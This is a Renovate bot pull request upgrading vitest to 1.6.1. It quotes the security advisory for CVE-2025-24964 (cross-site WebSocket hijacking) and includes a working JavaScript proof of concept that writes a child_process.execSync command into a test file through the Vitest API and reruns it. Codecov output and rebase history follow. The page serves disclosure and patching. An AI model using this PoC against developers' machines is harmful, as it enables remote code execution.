Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Feb 6, 2025

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 1.6.0 -> 1.6.1 age confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.


Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@codecov
Copy link

codecov bot commented Feb 6, 2025

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 47.16%. Comparing base (04b07c8) to head (b481220).
⚠️ Report is 2 commits behind head on main.

Additional details and impacted files
@@           Coverage Diff           @@
##             main      #55   +/-   ##
=======================================
  Coverage   47.16%   47.16%           
=======================================
  Files          71       71           
  Lines        1798     1798           
  Branches       48       48           
=======================================
  Hits          848      848           
  Misses        948      948           
  Partials        2        2           

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 585e36c to 8b86302 Compare February 9, 2025 16:10
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 566183c to 962b7dc Compare March 11, 2025 23:50
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from cda1bcf to 1a2858f Compare March 19, 2025 23:58
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 840e86a to 995f243 Compare April 10, 2025 00:09
@renovate renovate bot changed the title Update dependency vitest to v1.6.1 [SECURITY] fix(deps): update dependency vitest to v1.6.1 [security] Apr 25, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 995f243 to ec826f6 Compare April 25, 2025 13:44
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from ec826f6 to 32e4f2b Compare May 24, 2025 12:06
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from afc09fe to 18f8c1b Compare June 6, 2025 17:46
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 18f8c1b to 7d95dff Compare July 5, 2025 08:07
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from a5e4a1a to e4410bd Compare August 15, 2025 00:13
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from e4410bd to c3c15b0 Compare August 23, 2025 08:04
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from c3c15b0 to ea3267b Compare September 1, 2025 05:18
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from ea3267b to ed757b6 Compare September 26, 2025 20:00
@renovate renovate bot changed the title fix(deps): update dependency vitest to v1.6.1 [security] chore(deps): update dependency vitest to v1.6.1 [security] Sep 26, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from ed757b6 to b25cd67 Compare October 25, 2025 12:10
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from b25cd67 to 3b80f81 Compare November 16, 2025 04:00
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 3b80f81 to b481220 Compare November 19, 2025 22:51
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant